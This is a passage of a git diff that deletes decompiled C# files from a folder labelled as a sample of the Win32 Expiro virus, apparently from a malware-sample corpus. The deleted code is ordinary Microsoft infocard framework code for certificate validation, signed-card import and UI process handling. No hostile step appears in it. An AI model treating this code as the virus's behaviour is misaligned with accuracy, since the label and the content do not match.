InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Sleep, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Initialize, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Shutdown: -label_10: - this.m_mode = mode; - flag = true; - break; - case InfoCardUIAgent.CallMode.Release: - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.Initialize: - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - goto label_10; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto label_10; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - } - } - } - } - return flag; - } - - public void ReleaseUI() - { - if (!this.IsActive && InfoCardUIAgent.CallMode.Initialize != this.m_mode || !this.SetMode(InfoCardUIAgent.CallMode.Release)) - return; - this.WaitForModeChange(); - } - - private void WaitForModeChange() - { - this.m_agentGetWorkStart.Set(); - if (!this.m_agentGetWorkComplete.WaitOne(this.AgentStateChangeTimeOut, false)) - { - Utility.KillHelper(this.m_process); - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UIAgentCrash"))); - } - } - - private void GetWork(out InfoCardUIAgent.CallMode mode, out int requestHandle) - { - lock (this.m_memberSync) - { - mode = InfoCardUIAgent.CallMode.Shutdown; - requestHandle = 0; - try - { - mode = this.m_mode; - if (this.m_request != null) - requestHandle = this.m_request.RequestHandle; - if (mode != InfoCardUIAgent.CallMode.Sleep) - return; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, InfoCardUIAgent.s_idleTimeout, new TimeSpan(0, 0, 0, 0, -1)); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - ClientUIRequest request = this.Request; - if (request == null) - return; - request.ProcessingException = ex; - } - } - } - - public void ClearRequest(ClientUIRequest request) - { - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request == request) - { - if (this.SetMode(InfoCardUIAgent.CallMode.Sleep)) - flag = true; - this.m_request = (ClientUIRequest) null; - } - } - if (!flag) - return; - this.WaitForModeChange(); - if (ClientUIRequest.RequestResult.Error != this.m_currentStatus) - return; - this.Shutdown(); - } - - private void OnTimeout(object state) - { - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_request != null || this.IsShuttingDown) - return; - this.Shutdown(); - } - } - - private void OnProcessExit(int exitCode) - { - lock (InfoCardUIAgent.s_syncRoot) - { - this.m_mode = InfoCardUIAgent.CallMode.Shutdown; - InfoCardUIAgent.s_pidCollection.Remove(this.ProcessId); - InfoCardUIAgent.s_sessionIdCollection.Remove((uint) this.TsSessionId); - if (this.m_request != null && (this.m_currentStatus == ClientUIRequest.RequestResult.Pending || ClientUIRequest.RequestResult.Ok == this.m_currentStatus)) - { - switch ((EventCode) exitCode) - { - case EventCode.E_ICARD_UNTRUSTED: - this.m_request.UserCancel(true); - this.m_currentStatus = ClientUIRequest.RequestResult.Untrusted; - break; - case EventCode.E_ICARD_USERCANCELLED: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.Cancel; - break; - case EventCode.E_ICARD_UI_INITIALIZATION: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UIFailedInitialization; - break; - default: - this.m_request.UserCancel(false); - this.m_currentStatus = ClientUIRequest.RequestResult.UICrashed; - break; - } - this.m_uiStatusRecieved.Set(); - } - this.m_agentGetWorkComplete.Set(); - if (InfoCardUIAgent.s_isShuttingDown && InfoCardUIAgent.s_pidCollection.Count == 0) - InfoCardUIAgent.s_doneShuttingDownEvent.Set(); - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - if (this.m_trustedUserToken == null) - return; - this.m_trustedUserToken.Dispose(); - this.m_trustedUserToken = (SafeNativeHandle) null; - } - } - - private void OnProcessExit(object sender, EventArgs e) - { - this.m_process.Exited -= this.m_processExitHandler; - Process process = sender as Process; - InfoCardTrace.Assert(null != process, "Should be of type process."); - InfoCardTrace.Assert(process.ExitCode == this.m_process.ExitCode, "Should be the same!"); - this.OnProcessExit(process.ExitCode); - } - - private static void ThrowIfShuttingDown() - { - if (InfoCardUIAgent.s_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new SystemShuttingDownException()); - } - - private void Shutdown() - { - if (!this.SetMode(InfoCardUIAgent.CallMode.Shutdown)) - return; - this.WaitForModeChange(); - } - - private void Kill() => Utility.KillHelper(this.m_process); - - public static void OnLogout(uint sessionId) - { - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - ((InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[sessionId])?.Shutdown(); - } - - public static void DoShutdown() - { - bool flag = false; - if (!InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.s_isShuttingDown = true; - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - { - flag = true; - infoCardUiAgent.Shutdown(); - } - } - if (!flag || InfoCardUIAgent.s_doneShuttingDownEvent.WaitOne(new TimeSpan(0, 0, 15), false)) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - foreach (InfoCardUIAgent infoCardUiAgent in (IEnumerable) InfoCardUIAgent.s_sessionIdCollection.Values) - infoCardUiAgent.Kill(); - } - } - - public static InfoCardUIAgent FindByPid(uint pid) - { - lock (InfoCardUIAgent.s_syncRoot) - return (InfoCardUIAgent) InfoCardUIAgent.s_pidCollection[pid]; - } - - private class UInt32IndexedHybridDictionary - { - private HybridDictionary m_realDictionary = new HybridDictionary(); - - public int Count => this.m_realDictionary.Count; - - public ICollection Values => this.m_realDictionary.Values; - - public object this[uint index] - { - get => this.m_realDictionary[(object) index]; - set => this.m_realDictionary[(object) index] = value; - } - - public void Remove(uint index) => this.m_realDictionary.Remove((object) index); - } - - public enum CallMode - { - Sleep, - Initialize, - GetToken, - Manage, - Import, - Shutdown, - Crash, - Error, - Release, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardX509Validator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardX509Validator.cs deleted file mode 100644 index a2715938..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardX509Validator.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardX509Validator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class InfoCardX509Validator : X509CertificateValidator - { - private static InfoCardOfflineChainTrustValidator s_identityMachineChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static InfoCardOfflineChainTrustValidator s_identityUserChainTrustValidator = (InfoCardOfflineChainTrustValidator) null; - private static X509CertificateValidator s_identityPeerTrustValidator; - private static X509Certificate2Collection m_supportingCertificates; - - static InfoCardX509Validator() - { - InfoCardX509Validator.s_identityMachineChainTrustValidator = new InfoCardOfflineChainTrustValidator(true); - InfoCardX509Validator.s_identityUserChainTrustValidator = new InfoCardOfflineChainTrustValidator(false); - InfoCardX509Validator.s_identityPeerTrustValidator = X509CertificateValidator.PeerTrust; - } - - private InfoCardX509Validator(X509Certificate2Collection supportingCerts) => InfoCardX509Validator.m_supportingCertificates = supportingCerts; - - public static X509CertificateValidator Create( - X509Certificate2Collection supportingCerts) - { - return (X509CertificateValidator) new InfoCardX509Validator(supportingCerts); - } - - public static void ValidateChainOrPeer( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - InfoCardX509Validator.Validate(certificate, supportingRecipientCerts, out chainTrustPassed); - } - - public override void Validate(X509Certificate2 certificate) => InfoCardX509Validator.Validate(certificate, InfoCardX509Validator.m_supportingCertificates, out bool _); - - public static bool ValidateChainOrPeerCallback( - object sender, - X509Certificate certificate, - X509Chain chain, - SslPolicyErrors sslPolicyErrors) - { - bool chainTrustPassed = false; - if ((sslPolicyErrors & SslPolicyErrors.RemoteCertificateNameMismatch) != SslPolicyErrors.None || (sslPolicyErrors & SslPolicyErrors.RemoteCertificateNotAvailable) != SslPolicyErrors.None) - return false; - InfoCardTrace.Assert(certificate != null && null != chain, "We should have returned false for SslPolicyErrors.RemoteCertificateNotAvailable"); - try - { - InfoCardX509Validator.ValidateChainOrPeer(new X509Certificate2(certificate), chain.ChainPolicy.ExtraStore, out chainTrustPassed); - } - catch (SecurityTokenValidationException ex) - { - InfoCardTrace.TraceAndLogException((Exception) new IdentityValidationException(SR.GetString("RecipientCertificateNotValid"), (Exception) ex)); - return false; - } - return true; - } - - private static void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingRecipientCerts, - out bool chainTrustPassed) - { - chainTrustPassed = false; - string str = string.Empty; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingRecipientCerts, out X509Chain _); - chainTrustPassed = true; - } - catch (SecurityTokenValidationException ex) - { - str = ex.Message; - } - if (chainTrustPassed) - return; - try - { - InfoCardX509Validator.ValidatePeer(certificate); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainFailAndPeerTrustFail", (object) str, (object) ex.Message))); - } - } - - public static void ValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - try - { - InfoCardX509Validator.s_identityMachineChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - InfoCardX509Validator.s_identityUserChainTrustValidator.Validate(certificate, supportingCerts, out chain); - } - } - - public static bool TryValidateChain( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts) - { - bool flag = true; - try - { - InfoCardX509Validator.ValidateChain(certificate, supportingCerts, out X509Chain _); - } - catch (SecurityTokenValidationException ex) - { - flag = false; - } - return flag; - } - - public static void ValidatePeer(X509Certificate2 certificate) => InfoCardX509Validator.s_identityPeerTrustValidator.Validate(certificate); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardXmlSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardXmlSerializer.cs deleted file mode 100644 index ec16091f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardXmlSerializer.cs +++ /dev/null @@ -1,172 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardXmlSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Security.Cryptography.Xml; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardXmlSerializer - { - private InfoCard m_card; - private X509Certificate2 m_issuer; - private X509Certificate2Collection m_additionalIssuerCerts; - private bool m_isIssuerChainTrusted; - private bool m_checkSignature; - private bool m_isDeserialized; - private StoreConnection m_connection; - - public InfoCardXmlSerializer(StoreConnection connection) => this.m_connection = connection; - - public InfoCard Card => this.m_isDeserialized ? this.m_card : (InfoCard) null; - - public X509Certificate2 Issuer => this.m_isDeserialized ? this.m_issuer : (X509Certificate2) null; - - public X509Certificate2Collection AdditionalIssuerCerts => this.m_additionalIssuerCerts; - - public bool IsIssuerChainTrusted - { - get - { - InfoCardTrace.Assert(this.m_isDeserialized, "Card should be deserialized before checking this value"); - return this.m_isIssuerChainTrusted; - } - } - - public bool CheckSignature - { - set => this.m_checkSignature = value; - } - - public void Deserialize(string filename) - { - try - { - this.m_card = new InfoCard(); - this.m_card.HashSalt = InfoCard.GenerateSalt(); - this.CreateCardFromXml(filename); - this.m_card.IssuerIdentifierAsBytes = Convert.FromBase64String(Recipient.CertGetRecipientOrganizationPPIDSeedHash(this.m_issuer, this.m_additionalIssuerCerts, this.m_isIssuerChainTrusted)); - this.m_isDeserialized = true; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - - private void CreateCardFromXml(string filename) - { - try - { - using (FileStream fileStream = File.OpenRead(filename)) - { - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) fileStream, new XmlReaderSettings() - { - IgnoreWhitespace = false, - IgnoreProcessingInstructions = false, - IgnoreComments = true - })) - { - this.RetrieveIssuerAndCheckSign(reader1); - fileStream.Seek(0L, SeekOrigin.Begin); - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader2 = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - while (reader2.Read()) - { - if (reader2.LocalName == "InformationCard") - { - this.m_card.ReadXml(reader2); - break; - } - } - reader2.Read(); - if ("Signature" != reader2.LocalName || XmlNodeType.EndElement != reader2.NodeType) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (FileNotFoundException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportFileNotFound"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - - private void RetrieveIssuerAndCheckSign(XmlReader reader) - { - XmlDocument document = new XmlDocument(); - document.PreserveWhitespace = true; - document.Load(reader); - XmlNames.CreateNamespaceManager(document.NameTable); - if ("Signature" != document.DocumentElement.LocalName && "http://www.w3.org/2000/09/xmldsig#" == document.DocumentElement.NamespaceURI) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - SignedXml signedXml = new SignedXml(document); - signedXml.LoadXml(document.DocumentElement); - if (signedXml.Signature == null || signedXml.Signature.ObjectList == null || signedXml.Signature.SignedInfo == null || signedXml.Signature.SignedInfo.References == null || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.Signature.ObjectList.Count != 1 || signedXml.Signature.SignedInfo.References.Count != 1 || ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain.Count != 1) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - string algorithm = ((Reference) signedXml.Signature.SignedInfo.References[0]).TransformChain[0].Algorithm; - if (signedXml.Signature.SignedInfo.SignatureMethod != "http://www.w3.org/2000/09/xmldsig#rsa-sha1" || "http://www.w3.org/2001/10/xml-exc-c14n#" != algorithm && "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" != algorithm || "http://www.w3.org/2001/10/xml-exc-c14n#" != signedXml.Signature.SignedInfo.CanonicalizationMethodObject.Algorithm || "http://www.w3.org/2000/09/xmldsig#sha1" != ((Reference) signedXml.Signature.SignedInfo.References[0]).DigestMethod) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - if (signedXml.KeyInfo == null) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - XmlNodeList childNodes = signedXml.KeyInfo.GetXml().ChildNodes; - KeyInfoX509Data keyInfoX509Data = new KeyInfoX509Data(); - foreach (XmlNode element in childNodes) - { - if ("http://www.w3.org/2000/09/xmldsig#" == element.NamespaceURI && "X509Data" == element.Name) - { - keyInfoX509Data.LoadXml((XmlElement) element); - break; - } - } - ArrayList certificates = keyInfoX509Data.Certificates; - this.m_issuer = certificates != null && certificates.Count > 0 ? (X509Certificate2) certificates[0] : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("NoCertificateFoundInSignature"))); - this.m_additionalIssuerCerts = new X509Certificate2Collection(); - for (int index = 1; index < certificates.Count; ++index) - this.m_additionalIssuerCerts.Add((X509Certificate2) certificates[index]); - try - { - InfoCardX509Validator.ValidateChainOrPeer(this.m_issuer, this.m_additionalIssuerCerts, out this.m_isIssuerChainTrusted); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(ex.Message)); - } - if (this.m_checkSignature && !signedXml.CheckSignature(this.m_issuer, true)) - throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("SignatureNotVerified"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs deleted file mode 100644 index be32144b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs +++ /dev/null @@ -1,98 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationCollection : List - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - public InfocardExtendedInformationCollection(Uri infoCardId) => this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - for (int index = 0; index < this.Count; ++index) - this[index].Serialize(writer); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = new BinaryReader(stream, Encoding.Unicode); - int num = reader.ReadInt32(); - for (int index = 0; index < num; ++index) - { - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.Deserialize(reader); - this.Add(informationEntry); - } - } - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 4; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public string GetIssuerInformationElement() - { - for (int index = 0; index < this.Count; ++index) - { - XmlReader reader = InfoCardSchemas.CreateReader(this[index].GetXml()); - reader.Read(); - if (reader.IsStartElement("IssuerInformation", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - { - reader.Close(); - return this[index].GetXml(); - } - reader.Close(); - } - return string.Empty; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 4 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs deleted file mode 100644 index ba053379..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfocardExtendedInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfocardExtendedInformationEntry : IXmlSerializable - { - private string m_xmlElement; - - public void Serialize(BinaryWriter writer) => Utility.SerializeString(writer, this.m_xmlElement); - - public void Deserialize(BinaryReader reader) => this.m_xmlElement = Utility.DeserializeString(reader); - - public string GetXml() => this.m_xmlElement; - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - XmlReader reader = InfoCardSchemas.CreateReader(this.m_xmlElement); - writer.WriteNode(reader, false); - } - - public void ReadXml(XmlReader reader) - { - XmlReader xmlReader = reader.IsStartElement() ? reader.ReadSubtree() : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - xmlReader.Read(); - this.m_xmlElement = xmlReader.ReadOuterXml(); - xmlReader.Close(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IntermediatePolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IntermediatePolicyValidator.cs deleted file mode 100644 index 2d24a830..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IntermediatePolicyValidator.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IntermediatePolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class IntermediatePolicyValidator : PolicyValidator - { - public IntermediatePolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() => this.ValidateAppliesTo(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidCardException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidCardException.cs deleted file mode 100644 index 134c92d9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidCardException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidCardException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidCardException : InfoCardBaseException - { - private const int HRESULT = -1073413881; - - public InvalidCardException() - : base(-1073413881) - { - } - - public InvalidCardException(string message) - : base(-1073413881, message) - { - } - - public InvalidCardException(string message, Exception inner) - : base(-1073413881, message, inner) - { - } - - protected InvalidCardException(SerializationInfo si, StreamingContext sc) - : base(-1073413881, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs deleted file mode 100644 index 8f27a40f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidStoreProtectionKeyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidStoreProtectionKeyException : InfoCardBaseException - { - private const int HRESULT = -1073413880; - - public InvalidStoreProtectionKeyException() - : base(-1073413880) - { - } - - public InvalidStoreProtectionKeyException(string message) - : base(-1073413880, message) - { - } - - public InvalidStoreProtectionKeyException(string message, Exception inner) - : base(-1073413880, message, inner) - { - } - - protected InvalidStoreProtectionKeyException(SerializationInfo si, StreamingContext sc) - : base(-1073413880, si, sc) - { - } - } -} diff --git 